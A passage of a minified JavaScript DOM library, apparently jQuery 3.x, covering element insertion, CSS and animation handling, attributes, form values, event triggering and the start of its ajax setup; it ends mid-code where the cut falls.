$e(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Re(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(ce.cleanData(Se(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return ce.clone(this,e,t)})},html:function(e){return M(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Oe.test(e)&&!ke[(Te.exec(e)||["",""])[1].toLowerCase()]){e=ce.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(ce.cleanData(Se(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return $e(this,arguments,function(e){var t=this.parentNode;ce.inArray(this,n)<0&&(ce.cleanData(Se(this)),t&&t.replaceChild(e,this))},n)}}),ce.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){ce.fn[e]=function(e){for(var t,n=[],r=ce(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),ce(r[o])[a](t),s.apply(n,t.get());return this.pushStack(n)}});var _e=new RegExp("^("+G+")(?!px)[a-z%]+$","i"),ze=/^--/,Xe=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=ie),t.getComputedStyle(e)},Ue=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Ve=new RegExp(Q.join("|"),"i");function Ge(e,t,n){var r,i,o,a,s=ze.test(t),u=e.style;return(n=n||Xe(e))&&(a=n.getPropertyValue(t)||n[t],s&&a&&(a=a.replace(ve,"$1")||void 0),""!==a||K(e)||(a=ce.style(e,t)),!le.pixelBoxStyles()&&_e.test(a)&&Ve.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=n.width,u.width=r,u.minWidth=i,u.maxWidth=o)),void 0!==a?a+"":a}function Ye(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",J.appendChild(u).appendChild(l);var e=ie.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),J.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=C.createElement("div"),l=C.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",le.clearCloneStyle="content-box"===l.style.backgroundClip,ce.extend(le,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=C.createElement("table"),t=C.createElement("tr"),n=C.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="box-sizing:content-box;border:1px solid",t.style.height="1px",n.style.height="9px",n.style.display="block",J.appendChild(e).appendChild(t).appendChild(n),r=ie.getComputedStyle(t),a=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===t.offsetHeight,J.removeChild(e)),a}}))}();var Qe=["Webkit","Moz","ms"],Je=C.createElement("div").style,Ke={};function Ze(e){var t=ce.cssProps[e]||Ke[e];return t||(e in Je?e:Ke[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=Qe.length;while(n--)if((e=Qe[n]+t)in Je)return e}(e)||e)}var et=/^(none|table(?!-c[ea]).+)/,tt={position:"absolute",visibility:"hidden",display:"block"},nt={letterSpacing:"0",fontWeight:"400"};function rt(e,t,n){var r=Y.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function it(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0,l=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(l+=ce.css(e,n+Q[a],!0,i)),r?("content"===n&&(u-=ce.css(e,"padding"+Q[a],!0,i)),"margin"!==n&&(u-=ce.css(e,"border"+Q[a]+"Width",!0,i))):(u+=ce.css(e,"padding"+Q[a],!0,i),"padding"!==n?u+=ce.css(e,"border"+Q[a]+"Width",!0,i):s+=ce.css(e,"border"+Q[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u+l}function ot(e,t,n){var r=Xe(e),i=(!le.boxSizingReliable()||n)&&"border-box"===ce.css(e,"boxSizing",!1,r),o=i,a=Ge(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(_e.test(a)){if(!n)return a;a="auto"}return(!le.boxSizingReliable()&&i||!le.reliableTrDimensions()&&fe(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===ce.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===ce.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+it(e,t,n||(i?"border":"content"),o,r,a)+"px"}function at(e,t,n,r,i){return new at.prototype.init(e,t,n,r,i)}ce.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Ge(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,aspectRatio:!0,borderImageSlice:!0,columnCount:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,scale:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeMiterlimit:!0,strokeOpacity:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=F(t),u=ze.test(t),l=e.style;if(u||(t=Ze(s)),a=ce.cssHooks[t]||ce.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=Y.exec(n))&&i[1]&&(n=te(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(ce.cssNumber[s]?"":"px")),le.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=F(t);return ze.test(t)||(t=Ze(s)),(a=ce.cssHooks[t]||ce.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Ge(e,t,r)),"normal"===i&&t in nt&&(i=nt[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),ce.each(["height","width"],function(e,u){ce.cssHooks[u]={get:function(e,t,n){if(t)return!et.test(ce.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?ot(e,u,n):Ue(e,tt,function(){return ot(e,u,n)})},set:function(e,t,n){var r,i=Xe(e),o=!le.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===ce.css(e,"boxSizing",!1,i),s=n?it(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-it(e,u,"border",!1,i)-.5)),s&&(r=Y.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=ce.css(e,u)),rt(0,t,s)}}}),ce.cssHooks.marginLeft=Ye(le.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Ge(e,"marginLeft"))||e.getBoundingClientRect().left-Ue(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),ce.each({margin:"",padding:"",border:"Width"},function(i,o){ce.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+Q[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(ce.cssHooks[i+o].set=rt)}),ce.fn.extend({css:function(e,t){return M(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Xe(e),i=t.length;a<i;a++)o[t[a]]=ce.css(e,t[a],!1,r);return o}return void 0!==n?ce.style(e,t,n):ce.css(e,t)},e,t,1<arguments.length)}}),((ce.Tween=at).prototype={constructor:at,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||ce.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(ce.cssNumber[n]?"":"px")},cur:function(){var e=at.propHooks[this.prop];return e&&e.get?e.get(this):at.propHooks._default.get(this)},run:function(e){var t,n=at.propHooks[this.prop];return this.options.duration?this.pos=t=ce.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):at.propHooks._default.set(this),this}}).init.prototype=at.prototype,(at.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=ce.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){ce.fx.step[e.prop]?ce.fx.step[e.prop](e):1!==e.elem.nodeType||!ce.cssHooks[e.prop]&&null==e.elem.style[Ze(e.prop)]?e.elem[e.prop]=e.now:ce.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=at.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},ce.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},ce.fx=at.prototype.init,ce.fx.step={};var st,ut,lt,ct,ft=/^(?:toggle|show|hide)$/,pt=/queueHooks$/;function dt(){ut&&(!1===C.hidden&&ie.requestAnimationFrame?ie.requestAnimationFrame(dt):ie.setTimeout(dt,ce.fx.interval),ce.fx.tick())}function ht(){return ie.setTimeout(function(){st=void 0}),st=Date.now()}function gt(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=Q[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function vt(e,t,n){for(var r,i=(yt.tweeners[t]||[]).concat(yt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function yt(o,e,t){var n,a,r=0,i=yt.prefilters.length,s=ce.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=st||ht(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:ce.extend({},e),opts:ce.extend(!0,{specialEasing:{},easing:ce.easing._default},t),originalProperties:e,originalOptions:t,startTime:st||ht(),duration:t.duration,tweens:[],createTween:function(e,t){var n=ce.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=F(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=ce.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=yt.prefilters[r].call(l,o,c,l.opts))return v(n.stop)&&(ce._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return ce.map(c,vt,l),v(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),ce.fx.timer(ce.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}ce.Animation=ce.extend(yt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return te(n.elem,e,Y.exec(t),n),n}]},tweener:function(e,t){v(e)?(t=e,e=["*"]):e=e.match(D);for(var n,r=0,i=e.length;r<i;r++)n=e[r],yt.tweeners[n]=yt.tweeners[n]||[],yt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ee(e),v=_.get(e,"fxshow");for(r in n.queue||(null==(a=ce._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,ce.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],ft.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||ce.style(e,r)}if((u=!ce.isEmptyObject(t))||!ce.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=_.get(e,"display")),"none"===(c=ce.css(e,"display"))&&(l?c=l:(re([e],!0),l=e.style.display||l,c=ce.css(e,"display"),re([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===ce.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=_.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&re([e],!0),p.done(function(){for(r in g||re([e]),_.remove(e,"fxshow"),d)ce.style(e,r,d[r])})),u=vt(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?yt.prefilters.unshift(e):yt.prefilters.push(e)}}),ce.speed=function(e,t,n){var r=e&&"object"==typeof e?ce.extend({},e):{complete:n||!n&&t||v(e)&&e,duration:e,easing:n&&t||t&&!v(t)&&t};return ce.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in ce.fx.speeds?r.duration=ce.fx.speeds[r.duration]:r.duration=ce.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){v(r.old)&&r.old.call(this),r.queue&&ce.dequeue(this,r.queue)},r},ce.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ee).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=ce.isEmptyObject(t),o=ce.speed(e,n,r),a=function(){var e=yt(this,ce.extend({},t),o);(i||_.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=ce.timers,r=_.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&pt.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||ce.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=_.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=ce.timers,o=n?n.length:0;for(t.finish=!0,ce.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),ce.each(["toggle","show","hide"],function(e,r){var i=ce.fn[r];ce.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(gt(r,!0),e,t,n)}}),ce.each({slideDown:gt("show"),slideUp:gt("hide"),slideToggle:gt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){ce.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),ce.timers=[],ce.fx.tick=function(){var e,t=0,n=ce.timers;for(st=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||ce.fx.stop(),st=void 0},ce.fx.timer=function(e){ce.timers.push(e),ce.fx.start()},ce.fx.interval=13,ce.fx.start=function(){ut||(ut=!0,dt())},ce.fx.stop=function(){ut=null},ce.fx.speeds={slow:600,fast:200,_default:400},ce.fn.delay=function(r,e){return r=ce.fx&&ce.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=ie.setTimeout(e,r);t.stop=function(){ie.clearTimeout(n)}})},lt=C.createElement("input"),ct=C.createElement("select").appendChild(C.createElement("option")),lt.type="checkbox",le.checkOn=""!==lt.value,le.optSelected=ct.selected,(lt=C.createElement("input")).value="t",lt.type="radio",le.radioValue="t"===lt.value;var mt,xt=ce.expr.attrHandle;ce.fn.extend({attr:function(e,t){return M(this,ce.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){ce.removeAttr(this,e)})}}),ce.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?ce.prop(e,t,n):(1===o&&ce.isXMLDoc(e)||(i=ce.attrHooks[t.toLowerCase()]||(ce.expr.match.bool.test(t)?mt:void 0)),void 0!==n?null===n?void ce.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=ce.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!le.radioValue&&"radio"===t&&fe(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(D);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),mt={set:function(e,t,n){return!1===t?ce.removeAttr(e,n):e.setAttribute(n,n),n}},ce.each(ce.expr.match.bool.source.match(/\w+/g),function(e,t){var a=xt[t]||ce.find.attr;xt[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=xt[o],xt[o]=r,r=null!=a(e,t,n)?o:null,xt[o]=i),r}});var bt=/^(?:input|select|textarea|button)$/i,wt=/^(?:a|area)$/i;function Tt(e){return(e.match(D)||[]).join(" ")}function Ct(e){return e.getAttribute&&e.getAttribute("class")||""}function kt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(D)||[]}ce.fn.extend({prop:function(e,t){return M(this,ce.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[ce.propFix[e]||e]})}}),ce.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&ce.isXMLDoc(e)||(t=ce.propFix[t]||t,i=ce.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=ce.find.attr(e,"tabindex");return t?parseInt(t,10):bt.test(e.nodeName)||wt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),le.optSelected||(ce.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),ce.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){ce.propFix[this.toLowerCase()]=this}),ce.fn.extend({addClass:function(t){var e,n,r,i,o,a;return v(t)?this.each(function(e){ce(this).addClass(t.call(this,e,Ct(this)))}):(e=kt(t)).length?this.each(function(){if(r=Ct(this),n=1===this.nodeType&&" "+Tt(r)+" "){for(o=0;o<e.length;o++)i=e[o],n.indexOf(" "+i+" ")<0&&(n+=i+" ");a=Tt(n),r!==a&&this.setAttribute("class",a)}}):this},removeClass:function(t){var e,n,r,i,o,a;return v(t)?this.each(function(e){ce(this).removeClass(t.call(this,e,Ct(this)))}):arguments.length?(e=kt(t)).length?this.each(function(){if(r=Ct(this),n=1===this.nodeType&&" "+Tt(r)+" "){for(o=0;o<e.length;o++){i=e[o];while(-1<n.indexOf(" "+i+" "))n=n.replace(" "+i+" "," ")}a=Tt(n),r!==a&&this.setAttribute("class",a)}}):this:this.attr("class","")},toggleClass:function(t,n){var e,r,i,o,a=typeof t,s="string"===a||Array.isArray(t);return v(t)?this.each(function(e){ce(this).toggleClass(t.call(this,e,Ct(this),n),n)}):"boolean"==typeof n&&s?n?this.addClass(t):this.removeClass(t):(e=kt(t),this.each(function(){if(s)for(o=ce(this),i=0;i<e.length;i++)r=e[i],o.hasClass(r)?o.removeClass(r):o.addClass(r);else void 0!==t&&"boolean"!==a||((r=Ct(this))&&_.set(this,"__className__",r),this.setAttribute&&this.setAttribute("class",r||!1===t?"":_.get(this,"__className__")||""))}))},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+Tt(Ct(n))+" ").indexOf(t))return!0;return!1}});var St=/\r/g;ce.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=v(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,ce(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=ce.map(t,function(e){return null==e?"":e+""})),(r=ce.valHooks[this.type]||ce.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=ce.valHooks[t.type]||ce.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(St,""):null==e?"":e:void 0}}),ce.extend({valHooks:{option:{get:function(e){var t=ce.find.attr(e,"value");return null!=t?t:Tt(ce.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!fe(n.parentNode,"optgroup"))){if(t=ce(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=ce.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<ce.inArray(ce.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),ce.each(["radio","checkbox"],function(){ce.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<ce.inArray(ce(e).val(),t)}},le.checkOn||(ce.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Et=ie.location,jt={guid:Date.now()},At=/\?/;ce.parseXML=function(e){var t,n;if(!e||"string"!=typeof e)return null;try{t=(new ie.DOMParser).parseFromString(e,"text/xml")}catch(e){}return n=t&&t.getElementsByTagName("parsererror")[0],t&&!n||ce.error("Invalid XML: "+(n?ce.map(n.childNodes,function(e){return e.textContent}).join("\n"):e)),t};var Dt=/^(?:focusinfocus|focusoutblur)$/,Nt=function(e){e.stopPropagation()};ce.extend(ce.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||C],d=ue.call(e,"type")?e.type:e,h=ue.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||C,3!==n.nodeType&&8!==n.nodeType&&!Dt.test(d+ce.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[ce.expando]?e:new ce.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:ce.makeArray(t,[e]),c=ce.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!y(n)){for(s=c.delegateType||d,Dt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||C)&&p.push(a.defaultView||a.parentWindow||ie)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(_.get(o,"events")||Object.create(null))[e.type]&&_.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&$(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!$(n)||u&&v(n[d])&&!y(n)&&((a=n[u])&&(n[u]=null),ce.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,Nt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,Nt),ce.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=ce.extend(new ce.Event,n,{type:e,isSimulated:!0});ce.event.trigger(r,null,t)}}),ce.fn.extend({trigger:function(e,t){return this.each(function(){ce.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return ce.event.trigger(e,t,n,!0)}});var qt=/\[\]$/,Lt=/\r?\n/g,Ht=/^(?:submit|button|image|reset|file)$/i,Ot=/^(?:input|select|textarea|keygen)/i;function Pt(n,e,r,i){var t;if(Array.isArray(e))ce.each(e,function(e,t){r||qt.test(n)?i(n,t):Pt(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==x(e))i(n,e);else for(t in e)Pt(n+"["+t+"]",e[t],r,i)}ce.param=function(e,t){var n,r=[],i=function(e,t){var n=v(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!ce.isPlainObject(e))ce.each(e,function(){i(this.name,this.value)});else for(n in e)Pt(n,e[n],t,i);return r.join("&")},ce.fn.extend({serialize:function(){return ce.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=ce.prop(this,"elements");return e?ce.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!ce(this).is(":disabled")&&Ot.test(this.nodeName)&&!Ht.test(e)&&(this.checked||!we.test(e))}).map(function(e,t){var n=ce(this).val();return null==n?null:Array.isArray(n)?ce.map(n,function(e){return{name:t.name,value:e.replace(Lt,"\r\n")}}):{name:t.name,value:n.replace(Lt,"\r\n")}}).get()}});var Mt=/%20/g,Rt=/#.*$/,It=/([?&])_=[^&]*/,Wt=/^(.*?):[ \t]*([^\r\n]*)$/gm,Ft=/^(?:GET|HEAD)$/,$t=/^\/\//,Bt={},_t={},zt="*/".concat("*"),Xt=C.createElement("a");function Ut(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(D)||[];if(v(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Vt(t,i,o,a){var s={},u=t===_t;function l(e){var r;return s[e]=!0,ce.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function Gt(e,t){var n,r,i=ce.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&ce.extend(!0,e,r),e}Xt.href=Et.href,ce.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Et.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Et.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":zt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":ce.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Gt(Gt(e,ce.ajaxSettings),t):Gt(ce.ajaxSettings,e)},ajaxPrefilter:Ut(Bt),ajaxTransport:Ut(_t),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var 